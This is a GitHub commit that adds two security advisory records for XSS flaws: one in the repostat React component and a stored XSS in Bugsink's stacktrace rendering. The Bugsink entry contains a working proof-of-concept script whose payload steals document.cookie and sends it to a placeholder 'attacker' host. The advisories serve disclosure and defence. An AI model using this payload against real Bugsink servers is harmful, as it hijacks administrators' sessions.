Skip to content

Commit 5d51e99

Browse files
1 parent a6e0797 commit 5d51e99

2 files changed

Lines changed: 137 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fm8c-6m29-rp6j",
4+
"modified": "2026-02-25T16:04:41Z",
5+
"published": "2026-02-25T16:04:41Z",
6+
"aliases": [
7+
"CVE-2026-27612"
8+
],
9+
"summary": "repostat: Reflected Cross-Site Scripting (XSS) via repo prop in RepoCard",
10+
"details": "### Impact\nThe `RepoCard` component is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability occurs because the component uses React's `dangerouslySetInnerHTML` to render the repository name (`repo` prop) during the loading state without any sanitization. \n\nIf a developer using this package passes unvalidated user input directly into the `repo` prop (for example, reading it from a URL query parameter), an attacker can execute arbitrary JavaScript in the context of the user's browser.\n\n### Proof of Concept\n```jsx\nimport { RepoCard } from 'repostat';\n\nfunction App() {\n const params = new URLSearchParams(window.location.search);\n const maliciousRepo = params.get('repo') || 'facebook/react';\n\n return <RepoCard repo={maliciousRepo} token=\"YOUR_TOKEN\" />;\n}\n```\n\n### Remediation\nUpdate to version 1.0.1. The use of dangerouslySetInnerHTML has been removed, and the repo prop is now safely rendered using standard React JSX data binding, which automatically escapes HTML entities.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "repostat"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.0.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/denpiligrim/repostat/security/advisories/GHSA-fm8c-6m29-rp6j"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27612"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/denpiligrim/repostat/commit/715df5f73359d222fd7876e948d14290180e3c88"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/denpiligrim/repostat"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-02-25T16:04:41Z",
63+
"nvd_published_at": "2026-02-25T03:16:05Z"
64+
}
65+
}
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vp6q-7m36-pq3w",
4+
"modified": "2026-02-25T16:06:00Z",
5+
"published": "2026-02-25T16:06:00Z",
6+
"aliases": [
7+
"CVE-2026-27614"
8+
],
9+
"summary": "Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering",
10+
"details": "### Summary\n\nAn unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.\nThe payload executes only if a user explicitly views the affected Stacktrace in the web UI.\n\n### Details\n\nWhen Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.\n\n```python\n# issues.py:75-77 - fallback path, no escaping\nif len(pygmented) != len(lines):\n return lines # raw HTML returned here\n\n# issues.py:111-113 - unconditional mark_safe\nreturn [mark_safe(line) for line in result]\n```\n\n### Operational Signals\n\nExploitation attempts are likely to generate the diagnostic event:\n\n```\n\"Pygments line count mismatch, falling back to unformatted code\"\n```\n\nInstallations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)\nmay see this message as an issue. While the condition can occur benignly, unexpected\noccurrences, especially from unusual languages (specifically ruby), warrant review.\n\n\n### PoC\n\nSend a Sentry event to `/api/<project-id>/store/` with a valid DSN:\n\n```python\nimport requests\n\npayload = {\n \"exception\": {\"values\": [{\"stacktrace\": {\"frames\": [{\n \"filename\": \"app.rb\",\n \"lineno\": 2,\n \"pre_context\": [\"<<~HEREDOC\", \" foo\", \"HEREDOC\"],\n \"context_line\": \"<img src=x onerror=fetch('//attacker/?c='+document.cookie)>\",\n \"post_context\": []\n }]}}]}\n}\n\nrequests.post(\n \"http://bugsink-host/api/<project-id>/store/\",\n json=payload,\n headers={\"X-Sentry-Auth\": \"Sentry sentry_key=<dsn-public-key>, sentry_version=7\"}\n)\n```\n\nOpen the event in the bugsink UI as any admin. Cookie exfiltrates immediately.\n\n### Impact\n\nThis is a stored XSS vulnerability.\n\nSuccessful exploitation requires:\n\n* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).\n* The Bugsink ingest endpoint is reachable to the attacker.\n* An administrator explicitly views the crafted event in the UI.\n\nUnder those conditions, the attacker can execute JavaScript in the administrator’s browser\nand act with that user’s privileges within Bugsink.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "bugsink"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.0.13"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.0.12"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/bugsink/bugsink/security/advisories/GHSA-vp6q-7m36-pq3w"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27614"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/bugsink/bugsink/commit/e784d6aeb0d5f29b40c2779d2544c2b9ef097ee9"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/bugsink/bugsink"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/bugsink/bugsink/releases/tag/2.0.13"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [
65+
"CWE-79"
66+
],
67+
"severity": "CRITICAL",
68+
"github_reviewed": true,
69+
"github_reviewed_at": "2026-02-25T16:06:00Z",
70+
"nvd_published_at": "2026-02-25T03:16:05Z"
71+
}
72+
}

0 commit comments

Comments
 (0)